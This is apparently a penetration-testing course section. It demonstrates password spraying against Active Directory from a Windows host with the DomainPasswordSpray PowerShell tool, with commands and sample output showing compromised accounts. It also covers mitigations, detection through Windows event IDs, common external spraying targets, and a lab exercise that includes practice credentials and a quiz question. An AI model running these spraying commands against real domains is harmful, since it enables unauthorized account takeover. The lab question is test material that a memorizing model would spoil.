Internal Password Spraying - from Windows

From a foothold on a domain-joined Windows host, the DomainPasswordSpray tool is highly effective. If we are authenticated to the domain, the tool will automatically generate a user list from Active Directory, query the domain password policy, and exclude user accounts within one attempt of locking out. Like how we ran the spraying attack from our Linux host, we can also supply a user list to the tool if we are on a Windows host but not authenticated to the domain. We may run into a situation where the client wants us to perform testing from a managed Windows device in their network that we can load tools onto. We may be physically on-site in their offices and wish to test from a Windows VM, or we may gain an initial foothold through some other attack, authenticate to a host in the domain and perform password spraying in an attempt to obtain credentials for an account that has more rights in the domain.

There are several options available to us with the tool. Since the host is domain-joined, we will skip the `-UserList` flag and let the tool generate a list for us. We'll supply the `Password` flag and one single password and then use the `-OutFile` flag to write our output to a file for later use.

Using DomainPasswordSpray.ps1

Using DomainPasswordSpray.ps1

```
PS C:\htb> Import-Module .\DomainPasswordSpray.ps1
PS C:\htb> Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinu

[*] Current domain is compatible with Fine-Grained Password Policy.
[*] Now creating a list of users to spray...
[*] The smallest lockout threshold discovered in the domain is 5 login attempts.
[*] Removing disabled users from list.
[*] There are 2923 total users found.
[*] Removing users within 1 attempt of locking out from list.
[*] Created a userlist containing 2923 users gathered from the current user's domain
[*] The domain password policy observation window is set to  minutes.
[*] Setting a  minute wait in between sprays.

Confirm Password Spray
Are you sure you want to perform a password spray against 2923 accounts?
[Y] Yes  [N] No  [?] Help (default is "Y"): Y

[*] Password spraying has begun with  1  passwords
[*] This might take a while depending on the total number of users
[*] Now trying password Welcome1 against 2923 users. Current time is 2:57 PM
[*] Writing successes to spray_success
[*] SUCCESS! User:sgage Password:Welcome1
[*] SUCCESS! User:tjohnson Password:Welcome1

[*] Password spraying is complete
[*] Any passwords that were successfully sprayed have been output to spray_success
```

We could also utilize Kerbrute to perform the same user enumeration and spraying steps shown in the previous section. The tool is present in the `C:\Tools` directory if you wish to work through the same examples from the provided Windows host.

Mitigations

Several steps can be taken to mitigate the risk of password spraying attacks. While no single solution will entirely prevent the attack, a defense-in-depth approach will render password spraying attacks extremely difficult.

Technique	Description
Multi-factor Authentication	Multi-factor authentication can greatly reduce the risk of password spraying attacks. Many types of multi-factor authentication exist, such as push notifications to a mobile device, a rotating One Time Password (OTP) such as Google Authenticator, RSA key, or text message confirmations. While this may prevent an attacker from gaining access to an account, certain multi-factor implementations still disclose if the username/password combination is valid. It may be possible to reuse this credential against other exposed services or applications. It is important to implement multi-factor solutions with all external portals.
Restricting Access	It is often possible to log into applications with any domain user account, even if the user does not need to access it as part of their role. In line with the principle of least privilege, access to the application should be restricted to those who require it.
Reducing Impact of Successful Exploitation	A quick win is to ensure that privileged users have a separate account for any administrative activities. Application-specific permission levels should also be implemented if possible. Network segmentation is also recommended because if an attacker is isolated to a compromised subnet, this may slow down or entirely stop lateral movement and further compromise.
Password Hygiene	Educating users on selecting difficult to guess passwords such as passphrases can significantly reduce the efficacy of a password spraying attack. Also, using a password filter to restrict common dictionary words, names of months and seasons, and variations on the company's name will make it quite difficult for an attacker to choose a valid password for spraying attempts.

Other Considerations

It is vital to ensure that your domain password lockout policy doesn't increase the risk of denial of service attacks. If it is very restrictive and requires an administrative intervention to unlock accounts manually, a careless password spray may lock out many accounts within a short period.

Detection

Some indicators of external password spraying attacks include many account lockouts in a short period, server or application logs showing many login attempts with valid or non-existent users, or many requests in a short period to a specific application or URL.

In the Domain Controller's security log, many instances of event ID 4625: An account failed to log on over a short period may indicate a password spraying attack. Organizations should have rules to correlate many logon failures within a set time interval to trigger an alert. A more savvy attacker may avoid SMB password spraying and instead target LDAP. Organizations should also monitor event ID 4771: Kerberos pre-authentication failed, which may indicate an LDAP password spraying attempt. To do so, they will need to enable Kerberos logging. This post details research around detecting password spraying using Windows Security Event Logging.

With these mitigations finely tuned and with logging enabled, an organization will be well-positioned to detect and defend against internal and external password spraying attacks.

External Password Spraying

While outside the scope of this module, password spraying is also a common way that attackers use to attempt to gain a foothold on the internet. We have been very successful with this method during penetration tests to gain access to sensitive data through email inboxes or web applications such as externally facing intranet sites. Some common targets include:

- Microsoft O365
- Outlook Web Exchange
- Exchange Web Access
- Skype for Business
- Lync Server
- Microsoft Remote Desktop Services (RDS) Portals
- Citrix portals using AD authentication
- VDI implementations using AD authentication such as VMware Horizon
- VPN portals (Citrix, SonicWall, OpenVPN, Fortinet, etc. that use AD authentication)
- Custom web applications that use AD authentication

Moving Deeper

Now that we have several sets of valid credentials, we can begin digging deeper into the domain by performing credentialed enumeration with various tools. We will walk through several tools that complement each other to give us the most complete and accurate picture of a domain environment. With this information, we will seek to move laterally and vertically in the domain to eventually reach the end goal of our assessment.

Start Instance

∞ / 1 spawns left

Waiting to start...

Questions

Answer the question(s) below to complete this Section and earn cubes!

Cheat Sheet

Get VPN Key

Target: Click here to spawn the target system!

RDP to with user "htb-student" and password "Academy_student_AD!"

+ 0 Using the examples shown in this section, find a user with the password Winter2022. Submit the username as the answer.

Submit your answer here...

Submit

Previous Next

My Workstation

OFFLINE

Start Instance

∞ / 1 spawns left